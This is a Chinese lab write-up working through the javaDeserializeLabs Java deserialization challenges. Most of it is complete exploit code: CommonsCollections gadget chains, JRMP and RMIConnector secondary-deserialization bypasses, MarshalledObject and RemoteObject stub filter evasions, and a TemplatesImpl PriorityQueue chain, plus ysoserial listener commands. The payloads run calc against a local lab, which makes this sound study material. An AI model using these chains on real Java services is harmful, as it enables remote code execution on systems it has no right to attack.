Java Deserialize Labs实验记录
前言:Java Deserialize Labs实验记录
环境地址:https://github.com/waderwu/javaDeserializeLabs
参考文章:http://novic4.cn/index.php/archives/26.html
lab1-basic
关键代码如下所示,可以看到/basic接口触发反序列化,并且当前环境中存在Calc类的依赖,那么这里反序列化利用则通过Calc类来进行构造即可
@Controller public class IndexController { @RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE; } }
public class Calc implements Serializable { private boolean canPopCalc = false; private String cmd = "ls -al"; private void readObject(ObjectInputStream objectInputStream) throws Exception { objectInputStream.defaultReadObject(); if (this.canPopCalc) { Runtime.getRuntime().exec(this.cmd); } } }
构造代码如下:
public class GetPoc { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { Calc calc = new Calc(); setFieldValue(calc, "canPopCalc", true); setFieldValue(calc, "cmd", "open -a calculator.app"); String s = Utils.objectToHexString(calc); System.out.println(s); } }
lab2-ysoserial
第二题可以看到只给了代码,并没有给可以利用的类,代码如下图所示
public class IndexController { @RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("SJTU") && year == 1896) { objectInputStream.readObject(); return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE; } return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE; } }
这里通过观察相关引入的依赖可以知道存在commons-collections3.2.1,所以这里的话使用commons-collections3.2.1来进行利用
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
因为搭建的jdk版本为8,所以我这里需要支持jdk8的payload来进行利用,构造的代码如下图所示
需要注意的就是这边还需要满足两个条件name.equals("SJTU") && year == 1896,所以在写入对象的时候还需要先写入这两个对象才行
public class GetPoc { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open -a calculator.app"}) }; // LazyMap封装 Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, chainedTransformer); // TiedMapEntry封装 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,121212121); // BadAttributeValueExpException的val字段获取 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); setFieldValue(badAttributeValueExpException, "val", tiedMapEntry); // chainedTransformer's transformers setFieldValue(chainedTransformer, "iTransformers", transformers); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeUTF("SJTU"); out.writeInt(1896); out.writeObject(badAttributeValueExpException); out.close(); System.out.println(Utils.bytesTohexString(bos.toByteArray())); bos.close(); } }
lab3-shiro-jrmp
触发点还是在/basic接口,但是接受反序列化的时候自己实现了一个类MyObjectInputStream重写了resolveClass方法和构造函数
原生类的resolveClass如下图所示
这里先不看其他的,直接通过payload来进行测试一次先,发现回显信息如下图所示,报错提示为java.lang.ClassNotFoundException,寻找不到[Ljava.lang.StackTraceElement
这里就涉及到一个知识点就是默认UrlClassLoader对于数组形式的对象是不支持loadClass的,这里做个测试如下图所示
import org.apache.commons.collections.Transformer; import java.net.URL; import java.net.URLClassLoader; public class URLClassLoader_problem { public static void main(String[] args) throws Exception { String[] test_string = new String[]{"1","2"}; URL[] urls = ((URLClassLoader) Transformer.class.getClassLoader()).getURLs(); ClassLoader classLoader = new URLClassLoader(urls); classLoader.loadClass(test_string.getClass().getName()); } }
跟shiro反序列化中的利用一样,默认shiro反序列化loadClassUrlClassLoader,或者是可以通过二次反序列化(其中可以绕过无数组的限制)来进行绕过利用
具体问题可以参考文章:https://www.cnblogs.com/zpchcbd/p/14957034.html
这里通过针对shiro的payload进行测试,发现不行,结果如下图所示
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); TemplatesImpl tpl = new TemplatesImpl(); setFieldValue(tpl, "_bytecodes", new byte[][]{clazz.toBytecode()}); setFieldValue(tpl, "_name", "HelloTemplatesImpl"); setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl()); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); HashMap innerMap = new HashMap(); Map m = LazyMap.decorate(innerMap, transformer); Map outerMap = new HashMap(); TiedMapEntry tied = new TiedMapEntry(m, tpl); outerMap.put(tied, "t"); // clear the inner map data, this is important innerMap.clear();
但是发现会报错,报错信息如下
具体什么原因呢?这里通过报错的堆栈来进行跟随即可,可以发现在反序列化TemplatesImpl出现了问题,调试发现在反序列化TemplatesImpl的时候,相关属性存在数组,所以同样会触发数组反序列化的问题,所以这里的话TemplatesImpl同样不可取了
那么这里的话只能寻找其他的方法,对于shiro的攻击还有一种最原始的方法就是通过JRMP二次反序列化来进行攻击利用
这里配合使用的是ysoserial中的 exploit/JRMPClient和payload/JRMPListener,这边先用payload/JRMPListener使其开放一个1088端口
然后接着用exploit/JRMPClient进行攻击 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1088 CommonsCollections6 calc
但是可以发现结果是不行,发现RMI在反序列化的时候存在被过滤的操作
这里需要用到payload.JRMPClient+exploit.JRMPListener来进行利用,通过查看Dockerfile可以知道jdk版本为8u222符合攻击范围
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "calc"
生成相关payload.JRMPClient,这里记得进行写入相关条件的变量,然后进行攻击即可,攻击结果如下图所示
public static String objectToHexString(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeUTF("SJTU"); out.writeInt(1896); out.writeObject(obj); out.flush(); byte[] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; }
lab4-shiro-blind
看着代码其实跟Lab3没有什么不同,并且Lab3的payload在Lab4中也可以使用,看了别人的WP才知道这道题考点是不出网,因为自己是直接本地运行的环境的,并且docker的一些配置项也不是非常的了解导致没理解题意,这里的话考点就是解决不出网的利用
现在的原生二次反序列化类的利用有挺多种,比如jrmp的二次反序列化,signedObject的二次反序列化,RMIConnector的二次反序列化,这里对于jrmp的二次反序列化实则是需要出网的,那么我们这里的话就挑选signedObject进行二次反序列化,而这里signedObject二次反序列化的话需要触发getObject方法,如下图所示,所以还需要有个能够在反序列化中触发该方法的类,那么这里挑选一个InvokerTransformer类即可,其实这里的话直接signedObject+一条支持cc的链即可,并且也不需要考虑数组,因为在java.security.SignedObject#getObject中是通过ObjectInputStream来进行反序列化的
最终构造的payload如下
package com.yxxx.javasec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.security.provider.DSAPrivateKey; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class Lab4_SignedObject { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static SignedObject getSignedObject() throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 setFieldValue(chainedTransformer, "iTransformers", transformers); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance(privateKey.getAlgorithm()); SignedObject signedObject = new SignedObject(hashSet, privateKey, signature); return signedObject; } public static void main(String[] args) throws Exception { SignedObject signedObject = getSignedObject(); InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null); Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "test"); lazyMap.remove(signedObject); setFieldValue(lazyMap,"factory", invokerTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(expMap); String s = bytesTohexString(byteArrayOutputStream.toByteArray()); System.out.println(s); } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } }
但是发现上述的signedObject的反序列化一直有问题,无法触发攻击,如下图所示,具体原因没研究
所以自己这里直接换成了RMIConnector来进行二次反序列化,攻击结果如下图所示
package com.yxxx.javasec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.*; public class Lab4_RMIConnector_self { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String getObject() throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 setFieldValue(chainedTransformer, "iTransformers", transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashSet); return Base64.getEncoder().encodeToString(barr.toByteArray()); } public static void main(String[] args) throws Exception { RMIConnector connector = new RMIConnector(new JMXServiceURL("service:jmx:iiop://127.0.0.1:8000/stub/{$payload}".replace("{$payload}", getObject())), null); InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "test"); lazyMap.remove(connector); setFieldValue(lazyMap,"factory", invokerTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(expMap); String s = bytesTohexString(byteArrayOutputStream.toByteArray()); System.out.println(s); } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } }
lab5-weblogic-readResolve
考点关于readResolve,参考文章:https://www.cnblogs.com/zpchcbd/p/15126154.html
可以看到变动的地方就是重写了resolveClass方法,那么为其添加了两个黑名单
static { blackList.add("org.apache.commons.collections.functors"); blackList.add("java.rmi.server"); }
但是这里多了一个MarshalledObject对象可以进行利用,可以发现只有一个readResolve方法,如果熟悉java.io.ObjectInputStream#readOrdinaryObject的话,会知道如果一个反序列化的类存在ResolveMethod方法,那么在反序列化的时候会调用其ResolveMethod方法进行执行
package com.yxxx.javasec; import com.yxxx.javasec.deserialize.MarshalledObject; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class Lab5 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] getObjectBytes() throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 setFieldValue(chainedTransformer, "iTransformers", transformers); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashSet); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); } public static void main(String[] args) throws Exception { MarshalledObject marshalledObject = new MarshalledObject(); setFieldValue(marshalledObject, "bytes", getObjectBytes()); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(marshalledObject); objectOutputStream.close(); System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray())); } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } }
lab6-weblogic-resolveProxyClass
payload.JRMPClient不需要动态代理一样可以进行攻击,所以我这里尝试把动态代理的部分去掉,发现一样可以进行攻击,代码如下所示
为什么可以把部分代理的部分去掉?其实就是可以去掉的,因为Proxy类其中的InvocationHandler对象是RemoteObjectInvocationHandler,而默认反序列化Proxy就会去反序列化其中的InvocationHandler字段,也就是反序列化RemoteObjectInvocationHandler字段,然后同样会走到触发攻击的地方
package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.util.PayloadRunner; import java.io.*; import java.rmi.Remote; import java.rmi.server.*; import java.util.Random; public class JRMPClient_bypass_jep_jdk231 extends PayloadRunner implements ObjectPayload<Remote> { public Remote getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); Remote obj = new RemoteObjectInvocationHandler(ref); return obj; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } public static String objectToHexString(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeUTF("SJTU"); out.writeInt(1896); out.writeObject(obj); out.flush(); byte[] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static void main ( final String[] args ) throws Exception { Remote object = new JRMPClient_bypass_jep_jdk231().getObject("192.168.2.4:2333"); System.out.println(objectToHexString(object)); } }
lab7-weblogic-UnicastRef
lab7中又继续添加了相关的黑名单,如下所示
static { classBlackList.add("org.apache.commons.collections.functors"); classBlackList.add("sun.rmi.server.UnicastRef"); classBlackList.add("java.rmi.server.RemoteObjectInvocationHandler"); proxyBlackList.add("java.rmi.registry"); }
这里找了下大概考点应该是CVE-2018-3245,通过其他的RemoteObject子类代替RemoteObjectInvocationHandler即可,只要能够存储UnicastRef对象即可,但是通过WP发现还存在一个javax.management.BadAttributeValueExpException过滤,导致正常无法进行反序列化操作,也不知道咋解决,所以只能先放着了
因为BadAttributeValueExpException会在rmi通信中进行触发,这个不知道如何解决绕过
package ysoserial.payloads; import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import javax.management.remote.rmi.RMIConnectionImpl_Stub; import java.io.*; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient_2 extends PayloadRunner { public RMIConnectionImpl_Stub getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref); return obj; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } public static String objectToHexString(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeUTF("SJTU"); out.writeInt(1896); out.writeObject(obj); out.flush(); byte[] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static void main ( final String[] args ) throws Exception { RMIConnectionImpl_Stub object = new JRMPClient_2().getObject("192.168.2.4:2333"); System.out.println(objectToHexString(object)); } }
lab8-jrmp-unicastRemoteObject
不知道为啥,这个里面存储的是lab6,可能github仓库弄错了
lab9-proxy
题目中把commons-collection3.2.1库去掉了,然后留下了一个MyInvocationHandler,如下图所示,可以看到提供了一个任意类任意方法无参调用的点
没有依赖库那考点就是原生类的反序列化,然后还提供了一个sink点
public class MyInvocationHandler implements InvocationHandler, Serializable { private Class type; public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Method[] methods = this.type.getDeclaredMethods(); for (Method xmethod : methods) { xmethod.invoke(args[0], new Object[0]); } return null; } }
需要在反序列化中readObject中找到类似如下形式的才可以进行利用
/* object = in.readObject() * MyInvocationHandler = in.readObject() * MyInvocationHandler.xxx(object....) * */ // source: 任意类#readObject // chain: com.yxxx.javasec.deserialize.MyInvocationHandler#invoke // sink: javax.xml.transform.Templates.getOutputProperties
这里直接通过tabby来进行搜索,sink点已经确定,所以这里找是source到chain的即可,发现tabby不支持动态代理的调用形式。。。
match (source:Method) where source.NAME="readObject" match (m1:Method{NAME:"invoke",CLASSNAME:"com.yxxx.javasec.MyInvocationHandler"}) call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*') return * limit 10
那么没办法只能在已知的链中看看有没有了,我看了别人的WP是从PriorityQueue中的,我这里看了下别的类,比如在TreeBag的反序列化中也是可以进行触发,所以这里就用TreeBag来做演示
package com.yxxx.javasec; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.yxxx.javasec.deserialize.MyInvocationHandler; import com.zpchcbd.javassist.ExploitCalc; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.bag.AbstractMapBag; import org.apache.commons.collections4.bag.HashBag; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.TreeMap; public class cc4_jdk8_v4_TreeBag { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass class_s = classpool.get(ExploitCalc.class.getName()); CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()); class_s.setSuperclass(class_f); class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");"); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_name", "zpchcbd_test"); setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); setFieldValue(myInvocationHandler, "type", Templates.class); Comparator comparator = (Comparator)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, myInvocationHandler); TreeBag treeBag = new TreeBag(comparator); treeBag.add(templates); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin")); objectOutputStream.writeObject(obj); } public static void unserialize() throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin")); objectInputStream.readObject(); } public static String objectToHexString(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(obj); out.flush(); byte[] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } }
发现TreeBag是commons-collections4中的,有点尴尬,那这里直接用PriorityQueue即可
package com.yxxx.javasec; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.yxxx.javasec.deserialize.MyInvocationHandler; import com.zpchcbd.javassist.ExploitCalc; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.PriorityQueue; public class cc4_jdk8_v4_TreeBag { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass class_s = classpool.get(ExploitCalc.class.getName()); CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()); class_s.setSuperclass(class_f); class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");"); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_name", "zpchcbd_test"); setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(2); MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); setFieldValue(myInvocationHandler, "type", Templates.class); Comparator comparator = (Comparator)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, myInvocationHandler); setFieldValue(priorityQueue, "comparator", comparator); Field field_queue = PriorityQueue.class.getDeclaredField("queue"); field_queue.setAccessible(true); Object[] innerArr = (Object[]) field_queue.get(priorityQueue); innerArr[0] = templates; innerArr[1] = templates; System.out.println(objectToHexString(priorityQueue)); } public static String objectToHexString(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(obj); out.flush(); byte[] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 15 & (bytes[i] >> 4); ret.append("0123456789abcdef".charAt(b)); int b2 = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b2)); } return ret.toString(); } }
总结
题目涉及到关于weblogic和RMI远程调用机制中出现的问题偏多,总体而言学习到很多了,自己还把JRMP相关的笔记给补完了,后面还有很多要学习了,加油!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具